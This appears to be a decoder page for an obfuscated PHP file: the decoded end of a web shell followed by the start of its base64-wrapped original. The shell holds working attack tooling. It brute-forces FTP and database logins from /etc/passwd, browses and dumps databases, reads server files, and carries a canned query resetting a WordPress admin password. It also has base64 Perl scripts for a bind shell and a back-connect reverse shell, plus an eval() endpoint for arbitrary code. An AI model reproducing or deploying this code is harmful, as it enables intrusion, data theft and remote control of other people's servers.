	echo"<font color=red>ERROR: Cannot Create <b>$file</b> File !! </font><br>";
	}
	@chmod("$telnetfile/$file" , 0755);
	}
		}
BOFFFooter();

}


function actionLogout() {
    unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]);
    echo \'<body bgcolor=#000000><center><img src="http://i.imgur.com/g1J5LcO.png"></center></body>\';  
}


function actionTheUnknowns() {
	
	if($_POST[\'p1\'] == \'yes\')
		if(@unlink(preg_replace(\'!\(\d+\)\s.*!\', \'\', __FILE__)))
			die(\'Please Wait.....\');
		else
			echo \'unlink error!\';
    if($_POST[\'p1\'] != \'yes\')
        BOFFHeader();
	echo \'<h1>TheUnknowns</h1><div class=content>Click Yes To Visit Our Official Forum<br><a href=http://www.TheUnknowns.org onclick="g(null,null,\'yes\')">Yes</a></div>\';
	BOFFFooter();
}

function actionBruteforce() {
	BOFFHeader();
	if( isset($_POST[\'proto\']) ) {
		echo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';
		if( $_POST[\'proto\'] == \'ftp\' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$fp = @ftp_connect($ip, $port?$port:21);
				if(!$fp) return false;
				$res = @ftp_login($fp, $login, $pass);
				@ftp_close($fp);
				return $res;
			}
		} elseif( $_POST[\'proto\'] == \'mysql\' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$res = @mysql_connect($ip.\':\'.$port?$port:3306, $login, $pass);
				@mysql_close($res);
				return $res;
			}
		} elseif( $_POST[\'proto\'] == \'pgsql\' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";
				$res = @pg_connect($str);
				@pg_close($res);
				return $res;
			}
		}
		$success = 0;
		$attempts = 0;
		$server = explode(":", $_POST[\'server\']);
		if($_POST[\'type\'] == 1) {
			$temp = @file(\'/etc/passwd\');
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = explode(":", $line);
					++$attempts;
					if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
						$success++;
						echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';
					}
					if(@$_POST[\'reverse\']) {
						$tmp = "";
						for($i=strlen($line[0])-1; $i>=0; --$i)
							$tmp .= $line[0][$i];
						++$attempts;
						if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
							$success++;
							echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);
						}
					}
				}
		} elseif($_POST[\'type\'] == 2) {
			$temp = @file($_POST[\'dict\']);
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = trim($line);
					++$attempts;
					if( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {
						$success++;
						echo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';
					}
				}
		}
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
	}
	echo \'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'
		.\'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\'
		.\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'
		.\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'
		.\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'
		.\'<span>Server:port</span></td>\'
		.\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'
		.\'<tr><td><span>Brute type</span></td>\'
		.\'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>\'
		.\'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\'
		.\'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>\'
		.\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'
		.\'<td><input type=text name=login value="root"></td></tr>\'
		.\'<tr><td><span>Dictionary</span></td>\'
		.\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'
		.\'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\';
	echo \'</div><br>\';
	BOFFFooter();
}

function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function DbClass($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case \'mysql\':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case \'pgsql\':
					$host = explode(\':\', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case \'mysql\':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case \'mysql\':
					return $this->res = @mysql_query($str);
					break;
				case \'pgsql\':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case \'mysql\':
					return @mysql_fetch_assoc($res);
					break;
				case \'pgsql\':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case \'mysql\':
                        return $this->query("SHOW databases");
				break;
				case \'pgsql\':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case \'mysql\':
					return $this->res = $this->query(\'SHOW TABLES\');
				break;
				case \'pgsql\':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case \'mysql\':
					return @mysql_error();
				break;
				case \'pgsql\':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case \'mysql\':
					if(function_exists(\'mysql_set_charset\'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query(\'SET CHARSET \'.$str);
					break;
				case \'pgsql\':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case \'mysql\':
					return $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));
				break;
				case \'pgsql\':
					$this->query("CREATE TABLE BOFF2(file text);COPY BOFF2 FROM \'".addslashes($str)."\';select file from BOFF2;");
					$r=array();
					while($i=$this->fetch())
						$r[] = $i[\'file\'];
					$this->query(\'drop table BOFF2\');
					return array(\'file\'=>implode("
",$r));
				break;
			}
			return false;
		}
		function dump($table, $fp = false) {
			switch($this->type)	{
				case \'mysql\':
					$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');
					$create = mysql_fetch_array($res);
					$sql = $create[1].";
";
                    if($fp) fwrite($fp, $sql); else echo($sql);
					$this->query(\'SELECT * FROM `\'.$table.\'`\');
                    $head = true;
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
                            if($v == null)
                                $item[$k] = "NULL";
                            elseif(is_numeric($v))
                                $item[$k] = $v;
                            else
                                $item[$k] = "\'".@mysql_real_escape_string($v)."\'";
							$columns[] = "`".$k."`";
						}
                        if($head) {
                            $sql = \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).\')\';
                            $head = false;
                        } else
                            $sql = "
	,(".implode(", ", $item).\')\';
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
                    if(!$head)
                        if($fp) fwrite($fp, ";

"); else echo(";

");
				break;
				case \'pgsql\':
					$this->query(\'SELECT * FROM \'.$table);
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "\'".addslashes($v)."\'";
							$columns[] = $k;
						}
                        $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."
";
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST[\'type\']);
	if(@$_POST[\'p2\']==\'download\') {
		$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);
		$db->selectdb($_POST[\'sql_base\']);
        switch($_POST[\'charset\']) {
            case "Windows-1251": $db->setCharset(\'cp1251\'); break;
            case "UTF-8": $db->setCharset(\'utf8\'); break;
            case "KOI8-R": $db->setCharset(\'koi8r\'); break;
            case "KOI8-U": $db->setCharset(\'koi8u\'); break;
            case "cp866": $db->setCharset(\'cp866\'); break;
        }
        if(empty($_POST[\'file\'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST[\'tbl\'] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {
            foreach($_POST[\'tbl\'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST[\'p2\']);
        } else
            die(\'<script>alert("Error! Can\'t open file");window.history.back(-1)</script>\');
	}
	BOFFHeader();
	echo "
<h1>Sql browser</h1><div class=content>
<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>
<td><select name=\'type\'><option value=\'mysql\' ";
    if(@$_POST[\'type\']==\'mysql\')echo \'selected\';
echo ">MySql</option><option value=\'pgsql\' ";
if(@$_POST[\'type\']==\'pgsql\')echo \'selected\';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\'". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\'></td>
<td><input type=text name=sql_login value=\'". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\'></td>
<td><input type=text name=sql_pass value=\'". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\'></td><td>";
	$tmp = "<input type=text name=sql_base value=\'\'>";
	if(isset($_POST[\'sql_host\'])){
		if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {
			switch($_POST[\'charset\']) {
				case "Windows-1251": $db->setCharset(\'cp1251\'); break;
				case "UTF-8": $db->setCharset(\'utf8\'); break;
				case "KOI8-R": $db->setCharset(\'koi8r\'); break;
				case "KOI8-U": $db->setCharset(\'koi8u\'); break;
				case "cp866": $db->setCharset(\'cp866\'); break;
			}
			$db->listDbs();
			echo "<select name=sql_base><option value=\'\'></option>";
			while($item = $db->fetch()) {
				list($key, $value) = each($item);
				echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';
			}
			echo \'</select>\';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value=\'>>\' onclick=\'fs(d.sf);\'></td>
                <td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db=\'".@addslashes($_POST[\'sql_base\'])."\';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value=\'\';
                    if(f.p2) f.p2.value=\'\';
                    if(f.p3) f.p3.value=\'\';
                }
            }
			function st(t,l) {
				d.sf.p1.value = \'select\';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)
					d.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST[\'sql_base\'])){
				$db->selectdb($_POST[\'sql_base\']);
				echo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($item = $db->fetch($tbls_res)) {
					list($key, $value) = each($item);
                    if(!empty($_POST[\'sql_count\']))
                        $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));
					$value = htmlspecialchars($value);
					echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\"st(\'".$value."\',1)\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small>({$n[\'n\']})</small>") . "</nobr><br>";
				}
				echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\"download\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";
				if(@$_POST[\'p1\'] == \'select\') {
					$_POST[\'p1\'] = \'query\';
                    $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;
					$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);
					$num = $db->fetch();
					$pages = ceil($num[\'n\'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST[\'p2\'] . "\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">";
                    echo " of $pages";
                    if($_POST[\'p3\'] > 1)
                        echo " <a href=# onclick=\'st(\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>&lt; Prev</a>";
                    if($_POST[\'p3\'] < $pages)
                        echo " <a href=# onclick=\'st(\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next &gt;</a>";
                    $_POST[\'p3\']--;
					if($_POST[\'type\']==\'pgsql\')
						$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);
					else
						$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';
					echo "<br><br>";
				}
				if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {
					$db->query(@$_POST[\'p2\']);
					if($db->res !== false) {
						$title = false;
						echo \'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">\';
						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo \'<tr>\';
								foreach($item as $key => $value)
									echo \'<th>\'.$key.\'</th>\';
								reset($item);
								$title=true;
								echo \'</tr><tr>\';
								$line = 2;
							}
							echo \'<tr class="l\'.$line.\'">\';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo \'<td><i>null</i></td>\';
								else
									echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';
							}
							echo \'</tr>\';
						}
						echo \'</table>\';
					} else {
						echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';
					}
				}
				echo "<br></form><form onsubmit=\'d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";
                if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\'))
                    echo htmlspecialchars($_POST[\'p2\']);
                echo "-- wp new pass 123456789
                 UPDATE `wp_users` SET `user_login` = \'admin\',`user_pass` = \'$1$42REgxSR$.tLV4PSbQmCKsisyCSyhq.\' WHERE `wp_users`.`ID` =1 LIMIT 1 ;</textarea><br/><input type=submit value=\'Execute\'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST[\'type\']==\'mysql\') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");
                if($db->fetch())
                    echo "<form onsubmit=\'d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";
            }
			if(@$_POST[\'p1\'] == \'loadfile\') {
				$file = $db->loadFile($_POST[\'p2\']);
				echo \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo \'</div>\';
	BOFFFooter();
}
function actionNetwork() {
	BOFFHeader();
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name=\'nfp\' onSubmit=\"g(null,null,\'bpp\',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type=\'text\' name=\'port\' value=\'1337\'> <input type=submit value=\'>>\'>
	</form>
	<form name=\'nfp\' onSubmit=\"g(null,null,\'bcp\',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'1337\'> <input type=submit value=\'>>\'>
	</form><br>";
	if(isset($_POST[\'p1\'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists(\'file_put_contents\');
			if($w){
				@fwrite($w,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST[\'p1\'] == \'bpp\') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = BOFFEx("perl /tmp/bp.pl ".$_POST[\'p2\']." 1>/dev/null 2>&1 &");
			echo "<pre class=ml1>$out
".BOFFEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
		}
		if($_POST[\'p1\'] == \'bcp\') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = BOFFEx("perl /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." 1>/dev/null 2>&1 &");
			echo "<pre class=ml1>$out
".BOFFEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
		}
	}
	echo \'</div>\';
	BOFFFooter();
}
function actionRC() {
	if(!@$_POST[\'p1\']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"BOFF_version" => BOFF_VERSION,
			"safemode" => @ini_get(\'safe_mode\')
		);
		echo serialize($a);
	} else {
		eval($_POST[\'p1\']);
	}
}
if( empty($_POST[\'a\']) )
	if(isset($default_action) && function_exists(\'action\' . $default_action))
		$_POST[\'a\'] = $default_action;
	else
		$_POST[\'a\'] = \'SecInfo\';
if( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )
	call_user_func(\'action\' . $_POST[\'a\']);
exit;
?>'

Did this file decode correctly?

Original Code

<?php

#-------------------------------------------------------------------------------
$auth_pass = "702799702873d26245aeda8efb9fdfe2";
#-------------------------------------------------------------------------------
?>
<?php eval("?>".base64_decode("PD9waHAgDQokY29sb3IgPSAiIzAwRjAwMCI7DQokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOw0KJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOw0KJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOw0KDQppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3QiLCAiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiKTsNCiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOw0KICAgICAgICBleGl0Ow0KICAgIH0NCn0NCg0KQHNlc3Npb25fc3RhcnQoKTsNCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOw0KQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOw0KQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0KZWNobyc8YnI+JzsNCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCglmdW5jdGlvbiBCT0ZGc3RyaXBzbGFzaGVzKCRhcnJheSkgew0KCQlyZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnQk9GRnN0cmlwc2xhc2hlcycsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsNCgl9DQoJJF9QT1NUID0gQk9GRnN0cmlwc2xhc2hlcygkX1BPU1QpOw0KfQ0KDQpmdW5jdGlvbiBCT0ZGTG9naW4oKSB7DQoJZGllKCI8dGl0bGU+VG9vclNlYyBBdXRoZW50aWNhdGlvbjwvdGl0bGU+PHByZSBhbGlnbj1jZW50ZXI+PGI+PGZvcm0gbWV0aG9kPXBvc3Q+PGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzIHNpemU9MTA+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Jz48L2Zvcm0+PC9wcmU+Iik7DQp9DQoNCmlmKCFpc3NldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSkNCglpZiggZW1wdHkoJGF1dGhfcGFzcykgfHwgKCBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcykgKSApDQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cnVlOw0KCWVsc2UNCgkJQk9GRkxvZ2luKCk7DQoNCmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIikNCgkkb3MgPSAnd2luJzsNCmVsc2UNCgkkb3MgPSAnbml4JzsNCg0KJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsNCmlmKCEkc2FmZV9tb2RlKQ0KICAgIGVycm9yX3JlcG9ydGluZygwKTsNCg0KDQokZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsNCiRob21lX2N3ZCA9IEBnZXRjd2QoKTsNCmlmKGlzc2V0KCRfUE9TVFsnYyddKSkNCglAY2hkaXIoJF9QT1NUWydjJ10pOw0KJGN3ZCA9IEBnZXRjd2QoKTsNCmlmKCRvcyA9PSAnd2luJykgew0KCSRob21lX2N3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGhvbWVfY3dkKTsNCgkkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsNCn0NCmlmKCRjd2Rbc3RybGVuKCRjd2QpLTFdICE9ICcvJykNCgkkY3dkIC49ICcvJzsNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10pKQ0KICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPSAoYm9vbCkkR0xPQkFMU1snZGVmYXVsdF91c2VfYWpheCddOw0KCQ0KaWYoJG9zID09ICd3aW4nKQ0KCSRhbGlhc2VzID0gYXJyYXkoDQoJCSJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsDQogICAgCSJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLA0KICAgIAkiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiwNCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLA0KICAgIAkiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwNCiAgICAJIlVzZXIgYWNjb3VudHMiID0+ICJuZXQgdXNlciIsDQogICAgCSJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwNCgkJIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsDQoJCSJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCINCgkpOw0KZWxzZQ0KCSRhbGlhc2VzID0gYXJyYXkoDQogIAkJIkxpc3QgZGlyIiA9PiAibHMgLWxoYSIsDQoJCSJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLA0KICAJCSJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iLA0KICAgICAgICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLA0KCQkiRmluZCIgPT4gIiIsDQogIAkJImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwNCiAgCQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsDQogIAkJImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwNCiAgCQkiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsDQogIAkJImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsDQogIAkJImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lI